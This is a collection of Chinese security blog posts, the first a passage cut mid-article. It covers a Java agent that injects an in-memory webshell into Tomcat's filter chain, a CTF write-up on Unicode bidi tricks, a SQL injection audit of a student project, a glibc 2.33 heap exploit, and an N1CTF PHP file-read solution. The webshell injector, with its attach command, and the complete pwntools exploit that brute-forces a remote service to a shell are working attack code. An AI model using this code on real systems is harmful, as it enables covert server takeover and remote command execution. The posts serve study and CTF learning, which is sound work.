System.out.println("premain load Class2:" + className);               if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){                   System.out.println("nonononononono");                   return null;               }else {                   try {                       System.out.println("tryyyyyyyy");                       ClassPool classPool = ClassPool.getDefault();                       classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));                       if (classBeingRedefined != null) {                           ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                           classPool.insertClassPath(ccp);                       }                       CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                       CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");                       String source = "{javax.servlet.http.HttpServletRequest request = $1;" +                               "javax.servlet.http.HttpServletResponse response = $2;" +                               "request.setCharacterEncoding(\"UTF-8\");" +                               "String result = \"\";" +                               "String password = request.getParameter(\"password\");" +                               "if (password != null && password.equals(\"xxxxxx\")) {" +                               "String cmd = request.getParameter(\"cmd\");" +                               "if (cmd != null && cmd.length() > 0) {" +                               "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +                               "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +                               "byte[] b = new byte[1024];" +                               "int a = -1;" +                               "while ((a = in.read(b)) != -1) {" +                               "baos.write(b, 0, a);" +                               "}" +                               "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +                               "}" +                               "}}";                       ctMethod.insertBefore(source);                       System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                       byte[] byteCode = ctClass.toBytecode();                       ctClass.detach();                       return byteCode;                   } catch (Exception e) {                       e.printStackTrace();                   }                   return null;               }           }       },true);       instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));   } } 打包成jar,然后启动spring boot: 开始注入: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar 成功执行命令: 总结 本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。 附1:https://xz.aliyun.com/t/9450 附2:https://blog.csdn.net/qq_41874930/article/details/121284684
眼见不为实的show_source
https://www.yijinglab.com/pages/CTFLaboratory.jsp前言 最近,Err0r师傅把他们新生赛的赛题源码甩给我,我直接点开ezphp,发现这题很巧妙,题目源码不长,并且很有意思!这里面涉及到的知识点在之前也是比较少接触到的。因此,这篇文章将会对这道题从解题再到原理剖析逐步深入。 解题尝试 首先,题目源码在网页中打开是这样的 当一个Web方向的CTFer初步审计完源代码后,一定会觉得,这道题怎么这么简单,不就传两个参数就能输出flag了嘛 所以,Web手在初步审计完这道题之后,就会毫不犹豫地打出自己的一个payload(包括我): ?username=admin&password=s3cctf 这个时候Web手就纳闷了,命名传参都是对的怎么不输出flag呢? 经过仔细地查看题目后就会发现,这源代码眼见不为实! 我明明只选中了s3c到pass的部分,怎么后面注释的部分也被选中了? 这里面可能会有一些蹊跷? 于是下定决心审计一下源代码 这一看,发现浏览器渲染的和源代码有出入。原本$_GET后面是[password],怎么这后面变成了CTF了呢? 审计源代码可能对解题也没有什么帮助,那么就把源码复制下来之后看看 复制下来之后打开,和浏览器解析的做一个比较 好家伙,这个时候浏览器解析的和用sublime打开的又不一样了 注释后面的CTF跑到了前面的s3cctf中去了,两个&&符号之间又多了奇奇怪怪的符号 因此浏览器和sublime都不能相信了,只能把文件用winhex打开才相对最可信 用winhex打开如下: 在这里我们就能看出变量名以及我们要传的参数值到底是什么了 其中需要的参数值如下: 也就是: E2 80 AE E2 81 A6 43 54 46 E2 81 A9 E2 81 A6 73 33 63 63 74 66 而变量名为: E2 80 AE E2 81 A6 53 33 63 E2 81 A9 E2 81 A6 70 61 73 73 77 6F 72 64 因此将其进行URL编码后传参: ?username=admin&%E2%80%AE%E2%81%A6%53%33%63%E2%81%A9%E2%81%A6%70%61%73%73%77%6F%72%64=%E2%80%AE%E2%81%A6%43%54%46%E2%81%A9%E2%81%A6%73%33%63%63%74%66 即可得到flag: 那么这道题究竟是怎么出的?原理是什么?接下来的篇幅将会进行分析! 原理剖析 在探究原理之前,我们先要有一双善于发现异常的眼睛 除了上面提到的一个异常(选中部分字符,其余未被选中的字符也被选中了),其实还有两个异常点。 第三行注释行的HelloCTFer也有异常 我们将其进行选中 明明选中了//到CTF的部分,中间的Hello却没有被选中 我们再换个姿势进行选中 明明只选中了// He的部分,后面的CTFer 却也被选中了 因此我们可以确定,在//后面一定有特殊的字符,使得原本应该在Hello前面的CTFer显示在了后面。 第四行最后的注释S3cCTF颜色有问题 同样,如果仔细观察第四行的注释部分也会发现显示有点问题 这里的代码都是通过show_source函数进行打印的,而show_source函数在高亮源代码的时候,其代码颜色是按照php.ini中的设置来的。 也就是说,在注释后面的蓝色S3c本身应该属于前面password中的内容,而后面的CTF同样也应该是属于前面s3cctf中的内容 那么究竟是哪些神秘的字符导致这样的现象呢? 同样我们还是打开winhex 我们先查看比较短的// HelloCTFer注释行,对其进行分析。 内容如下: 2F 2F 20 E2 80 AE E2 81 A6 43 54 46 65 72 E2 81 A9 E2 81 A6 48 65 6C 6C 6F 我们将其稍作拼接,将可见的ASCII码字符拼接在一起 拼接之后的内容如下: 2F2F20 E280AEE281A6 4354466572 E281A9E281A6 48656C6C6F 稍作分析,对应的内容就是这样: 我们再对特殊字符进行分析,发现这个特殊字符应该是三个字节三个字节分开的 所以这里面一共出现了三组三个字节的编码分别是:E280AE、E281A6、E281A9 接下来对这三个特殊字符进行分析: E280AE 对于这个特殊字符,它是Unicode编码U+202E转UTF-8对应的十六进制编码 它的名字叫做从右往左强制符 在unicode-table.com网站中对其介绍如下: 它的作用就是:根据内存顺序从右至左显示字符 我们可以写一个Python小脚本,来看看这个字符是怎么颠覆我们的认知的。 if __name__ == "__main__":    print("Hello" + u"\u202e" + "World") 输出结果如下: 可以看到,后面的World变成了dlroW,并且当我们选中的H到r字符时,后面的oW却被选中了 E281A6 对于这个特殊字符,它的Unicode编号为:U+2066 外网上对这个字符作用描述是: 说人话就是:这之间的字符从左到右显示,不影响外围字符 E281A9 这个字符的Unicode编号为:U+2069 它的作用其实就是:作为RLI、LRI、FSi翻转结束的标识 这个时候我们再把上面的HelloCTFer拿出来进行分析: 我们就可以知道那段注释行的原理 原理就如下图所示 浏览器进行解析的时候,自然是按照上方十六进制的顺序进行解析,但是解析并不代表着输出,浏览器的输出结果需要根据底层字符的含义进行输出,当浏览器看到E280AE时,就知道后面的字符需要从右到左显示,而解析到E281A6时,浏览器就会知道将后面的字符从左往右输出,也就是CTFer输出结果仍然为CTFer而不是reFTC。当浏览器按照这样的规则把Hello解析完成之后,便会根据E280AE的从右往左输出的原则,将CTFer与Hello两个交换顺序,最终我们在浏览器中看到的结果便是HelloCTFer。 即使输出的结果是HelloCTFer,符合我们的认知,但是当我们用鼠标进行拖动的时候,电脑还是会那么贴心的帮我们把特殊符号加上,导致我们拖动Hello的时候,CTFer也被选中了 参考资料 https://www.w3.org/International/questions/qa-bidi-unicode-controls https://unicode-table.com/cn/202E/ https://unicode-table.com/cn/2066/ https://unicode-table.com/cn/2069/
通过某大学生的的毕业设计复习java-sql审计
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入 本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点! 1.原生jdbc连接无过滤造成sql注入 我们看下面这段代码,首先从客户端接收传进来的id的值拼接成sql语句,然后Statement去编译拼接的sql语句,将结果传给rs之后读出,这里没有对传进来的值进行任何过滤,尝试去构造sql语句造成注入 String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("Statement Demo");        out.println("SQL: "+sql);        try {            Statement st = conn.createStatement();            ResultSet rs = st.executeQuery(sql);            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("name"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 正常访问 构造测试payload进行测试,可以看到这边是执行了构造过的payload,返回了开发者不想让我们看到的内容 2.原生jdbc预编译开发失误导致sql注入 上面第一种存在sql注入的情况是因为每次执行都会将sql语句进行编译在数据库中执行,为了防止sql注入,可以使用prepareStatement进行预编译sql语句,使用?占位符来传可改变的值,但是因为sql语句已经编译过,所以按道理来说这里传进来的值只会被当作字符串数据处理不作为sql语句的一部分,传进来的值不参与编译也就是不会在sql里执行,但是开发者也可能出错就是在使用prepareStatement时仍然使用sql拼接而不是用占位符或者在预编译之后再次执行sql语句! 我们首先看一下不存在sql注入的代码,使用问号占位符,预编译sql语句,从下面第二张图可以看到这时候sql语句是一个问号而我们传进去的值不在数据库中运行并且没有返回结果的!可以比较好的防止sql注入,这时候我们来讲讲为什么预编译可以防止sql注入,当我们sql执行的时候大致会经历几个阶段分别是编译--优化--缓存--执行,当使用prepareStatement时,他是将上述的步骤已经执行过了,将结果放到了缓存当中,用户的输入只作为数据进行填充而不是sql的一部分,然后服务器从缓存中获得已经编译之后的语句,替换掉用户输入的数据执行以达到防止sql注入的目的! String sql = "select * from user where id = ?";        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            pst.setString(1,req.getParameter("id"));            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           } 看了安全代码,我们看以下预编译依旧存在问题的代码 虽然使用预编译但是sql语句依旧是拼接的!就会造成sql注入,看第一行,开发者忘记使用占位符导致sql语句依旧是拼接进去的    String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 3.分析mybatis框架类sql注入的情况 使用mybatis的好处是将sql整合到一个地方避免代码中出现大量的sql语句并且其接近原生sql。比较灵活,但是当xml里的sql语句是用$做占位符时,sql语句依旧是拼接而成的,这时候便会存在sql注入 select * from user1 where name = ${name} 下图可以看到传进来的值已经被执行了 4.审计室友的毕业设计 搭好室友的毕业设计之后,简单看了一下,这是一个商城后台管理系统,SSM框架的,然后找了一下入口点,发现只有登录界面是开放的入口。其他的地方权限都做了token验证,然后看他登录是怎么写的 @RequestMapping("/login")    public String login(User user)   {        if (userService.login(user)==1)       {            return "head";       }        else {            return "login";       }   } 看看上面写的,就很简单粗暴,然后就跟进去看server层里看看写了什么判断逻辑没有。  @Override    public int login(User user) {        return userMapper.login(user);   } 看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!这不就成了么 <!--    登陆验证-->    <select id="login" parameterType="user" resultType="java.lang.Integer">        select count(*)        from user        where user_name = '${userName}'          and password = '${password}'    </select> 根据一开始controller里写的,是判断返回值等于1,然后就可以登录后台,这时候就可以构造sql让返回值等于1! 然后他所有的sql都是使用$,存在大量的sql注入,以此说明了读书还是要认真!不要老听老头过时的技术!自己要有思考!
前沿版本2.33下的堆任意地址申请
前言 今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧 由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。 前置知识 UAF,异或加密,hook利用 版本新增保护介绍 2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。 对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。 举例利用 例题:NCTF2021 ezheap 漏洞分析 如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用 tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境 命令如下 patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了 低于2.33常规思路攻击 通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell 2.33绕过方法 First 堆地址的泄露 首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下 0x5569374d8290: 0x0000000000000000 0x0000000000000091 0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010 0x5569374d82b0: 0x0000000000000000 0x0000000000000000 0x5569374d82c0: 0x0000000000000000 0x0000000000000000 0x5569374d82d0: 0x0000000000000000 0x0000000000000000 0x5569374d82e0: 0x0000000000000000 0x0000000000000000 0x5569374d82f0: 0x0000000000000000 0x0000000000000000 0x5569374d8300: 0x0000000000000000 0x0000000000000000 0x5569374d8310: 0x0000000000000000 0x0000000000000000 0x5569374d8320: 0x0000000000000000 0x0000000000000091 0x5569374d8330: 0x0000556c61def678 0x00005569374d8010 由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0 也就是此时chunk0的content addr,这个地址我们先记录下来 (由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试) Second 获取某个堆块的对应的异或key值 我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5290 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5320 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb53b0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5440 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb54d0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5560 Size: 0x91 Free chunk (tcache) | PREV_INUSE Addr: 0x5650e8eb55f0 Size: 0x91 fd: 0x56558de5dbc5 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5650e8eb5680 Size: 0x91 fd: 0x7f95da868c00 bk: 0x7f95da868c00 Allocated chunk Addr: 0x5650e8eb5710 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x5650e8eb57a0 Size: 0x20861 bin状态如下 pwndbg> bin tcachebins 0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680 smallbins empty largebins empty 此时用第一步方法得到的堆地址是 0x5650e8eb52a0 然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下 pwndbg> x/32gx 0x40a0+0x5650e8348000 0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330 0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450 0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570 0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690 0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600 接着我们可以看下当前的bin情况如下 pwndbg> bin tcachebins 0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55 我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570 我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25 上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法 先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的) 我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54 我们看看错误的bin如下 pwndbg> bin tcachebins 0x90 [  6]: 0x7f8b1b63e5e4 正确的free hook地址:0x7f8e7a497e20 libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4 hex(0x5612a9bc4-0x5612a9a54)=0x170 我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移 最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell exp from pwn import * r=process('./ezheap') #r=remote('129.211.173.64',10002) #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('libc-2.33.so') #context.log_level='debug' def add(size,con): r.sendlineafter(">> ",'1') r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",con) def edit(idx,con): r.sendlineafter(">> ",'2') r.sendlineafter("Index: ",str(idx)) r.sendafter("Content: ",con) def show(idx): r.sendlineafter(">> ",'4') r.sendlineafter("Index: ",str(idx)) def dele(idx): r.sendlineafter(">> ",'3') r.sendlineafter("Index: ",str(idx)) flag=1 while flag: #r=process('./ezheap') r=remote('129.211.173.64',10002) for i in range(9): add(128,'1') dele(0) show(0) he0=u64(r.recv(6)+b'\x00'*2) print(hex(he0)) dele(1) show(1) he1=u64(r.recv(6)+b'\x00'*2) print(hex(he1)) heap=he0^he1 print("heap:"+hex(heap)) #gdb.attach(r) for i in range(2,8): dele(i) show(5) he=u64(r.recv(6)+b'\x00'*2) print(hex(he)) show(6) he6=u64(r.recv(6)+b'\x00'*2) print(hex(he6)) show(7) base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00 print(hex(base)) #gdb.attach(r) free_hook=base+libc.sym["__free_hook"] print(hex(free_hook)) sys=base+libc.sym['system'] add(128,'') tagerheap=heap+0x2d0 print("target heap:"+hex(tagerheap)) tagerheap_key=tagerheap^he print("target heap_key:"+hex(tagerheap_key)) libc_key=tagerheap_key+0x170 print("target libc_key:"+hex(libc_key)) #gdb.attach(r) dele(6) edit(9,p64(free_hook^libc_key)+b'\n') add(128,'/bin/sh\x00') add(128,'1') edit(11,p64(sys)+b'\n') #gdb.attach(r) dele(6) r.sendline("ls") a=r.recv() if b'bin' in a: r.interactive() print(a) flag=0 else: r.close() 题目附件下载链接 链接:https://pan.baidu.com/s/1YKqJOuGZrueLCkKxFwu2bA 提取码:urk1
对一道n1ctf赛题的详细分析
最近做了一道N1CTF2021的题目,学到了不少,分享给大家共同学习。 0x01 题目详情 题目如下: 源码如下: <?php //flag is /flag $path=$_POST['path']; $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){ •    die(); } } if(file_put_contents($name, $time)){ • echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>"; } $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path)); if(is_file($check)){ • echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }页面下方输出的是日志文件。要拿到flag,我首先关注到下方的两个if语句,先看最下面这个: if(is_file($check)){ echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>"; }如果$check是一个文件,那么读取他的内容,并输出。如果$check的值刚好是/flag,那这道题就解出来了。而$check是由这行代码来的: $check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));此处使用了preg_replace函数,将$path文件内容里的换行空格等内容删除。而$path最初是通过POST请求提交的,之后进行了过滤,不能包含一些字符: $black="f|ht|ba|z|ro|;|,|=|c|g|da|_"; $blist=explode("|",$black); foreach($blist as $b){  if(strpos($path,$b) !== false){    die(); }除了POST请求提交path参数我们可以控制,另外一个参数time通过GET方式和伪协议的方式我们也可以控制: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s"); $name="/var/www/tmp/".time().rand().'.txt'; if(file_put_contents($name, $time)){ echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";而$time的内容会被写入$name所在的文件中。 0x02 利用思路 整个过程如下: 我们可控的地方有path参数和time参数,time参数的内容最终会写入到name文件中。name文件会在每次请求的时候输出,我们不可控,但能够得知name文件的路径。path参数对应的文件名可控,但其文件内容不可控,而check文件名来源于path文件的内容,最终会读取并输出check文件的内容。 所以,我们要想读取/flag的内容,我们就要使check文件内容等于/flag,即可直接在网页中显示出/flag的内容。check文件名可通过path参数进行控制,而name文件内容我们可以通过time参数控制,所以,我们要想方法把/flag这个字符串写入name文件内容中,然后将check文件名设置为name文件即可。 0x03 利用过程 第一步,我们首先将/flag字符串写入time文件。 程序通过如下代码获得time的值: $time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");其中涉及到php的伪协议php://input,它可以读取我们POST请求的内容,time参数如果被设置,同时有POST数据,POST数据将会赋值给$time,我在本机进行调试如下: 内容写入到time对应的txt文件中: 为什么写入的内容不是/flag?因为有date函数并结果urldecode,所以,改成如下即可: 查看对应的文件即为/flag: 而我们将path参数设置为time对应的txt文件名,那么check文件名就会被设置为/flag,最终读取输出flag。 按照本地测试的效果,首先传递time参数,将/flag写入文件,然后记下页面输出的txt文件路径: 然后再次请求时,指定path为txt文件路径/var/www/tmp/16375737971145120615.txt,得到flag内容: